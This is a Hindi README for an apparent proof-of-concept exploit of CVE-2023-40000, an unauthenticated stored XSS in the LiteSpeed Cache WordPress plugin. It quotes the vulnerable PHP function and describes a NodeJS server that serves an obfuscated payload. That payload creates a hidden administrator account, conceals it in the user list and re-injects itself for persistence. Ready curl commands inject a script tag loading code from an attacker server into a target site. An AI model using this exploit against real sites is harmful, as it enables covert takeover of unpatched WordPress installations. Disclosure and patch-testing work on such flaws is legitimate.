
LiteSpeed Cache WordPress प्लगइन में XSS भेद्यता (CVE-2023-40000) के लिए PoC, जो उन्नत विशेषाधिकार प्रदान करती है। इसमें कोड, स्पष्टीकरण और शमन उपाय शामिल हैं।
LiteSpeed Cache WordPress प्लगइन में XSS कमज़ोरी के लिए PoC, जो उन्नत विशेषाधिकार प्रदान करती है। यह कमज़ोरी प्लगइन के संस्करण 5.7.0.1 में ठीक कर दी गई थी, और इसे CVE-2023-40000 निर्दिष्ट किया गया था। प्लगइन के उन्नत दृश्य पृष्ठ के अनुसार, लगभग 35% उपयोगकर्ता अभी भी एक कमज़ोर संस्करण (<5.7.0.1) का उपयोग कर रहे हैं, जो कुल मिलाकर लगभग 1.8M वेबसाइटें हैं।
update_cdn_status फ़ंक्शन में इनपुट सैनिटाइज़ेशन की कमी के कारण, (अप्रमाणित) उपयोगकर्ता एक संक्रमित _msg फ़ॉर्म मान के साथ POST अनुरोध भेजने में सक्षम हैं, जिसे संग्रहीत किया जाता है और फिर WordPress के एडमिन अनुभाग में प्रदर्शित किया जाता है। यह किसी को भी केवल एक अप्रमाणित POST अनुरोध भेजकर एडमिन खाते बनाने, अपने विशेषाधिकारों को बढ़ाने, या संवेदनशील जानकारी चुराने की अनुमति दे सकता है। कमज़ोर फ़ंक्शन यहाँ या नीचे पाया जा सकता है, और Admin_Display::error फ़ंक्शन यहाँ पाया जा सकता है।
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
इस रिपॉज़िटरी में मौजूद प्रूफ ऑफ कॉन्सेप्ट में एक NodeJS express सर्वर शामिल है, जिसे XSS पेलोड को अस्पष्ट करने और वितरित करने के लिए डिज़ाइन किया गया है, साथ ही यह आने वाले pings और डेटा को भी कैप्चर करता है। पेलोड स्क्रिप्ट इस कमज़ोरी का शोषण करने वाले हमलावरों की संभावित कार्रवाइयों को प्रदर्शित करती है: यह उपयोगकर्ता नाम "wp-config-user" और पासवर्ड "somepassword123" के साथ एक एडमिन खाता बनाती है। XSS पेलोड, जो admin-bar-reloaded.min के रूप में भी छिपा हुआ है, लोड होने पर प्रारंभिक XSS पॉपअप को छुपाता है, बनाए गए उपयोगकर्ता को users.php एडमिन पृष्ठ में पूरी तरह से छुपाता है, और एक स्थायी stored XSS बनाए रखने के लिए प्रारंभिक POST अनुरोध को दोहराता है।
npm install चलाएँ।node index.js के साथ सर्वर प्रारंभ करें।कमज़ोर एंडपॉइंट पर POST अनुरोध भेजने के लिए निम्नलिखित cURL कमांड का उपयोग करें:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
इस रिपॉज़िटरी की सामग्री केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान की गई है। इस प्रूफ ऑफ कॉन्सेप्ट के उपयोग से उत्पन्न किसी भी दुरुपयोग या अवैध गतिविधियों के लिए मैं ज़िम्मेदार नहीं हूँ। इसके अलावा, इस ज्ञात कमज़ोरी के कारण LiteSpeed Cache प्लगइन पृष्ठ पर एक चेतावनी जारी की गई है जो सभी उपयोगकर्ताओं को अपने सॉफ़्टवेयर को अपडेट करने की सलाह देती है। कृपया सुनिश्चित करें कि इस समस्या को कम करने के लिए आपके इंस्टॉलेशन संस्करण 5.7.0.1 या उसके बाद के संस्करण में अपडेट किए गए हैं।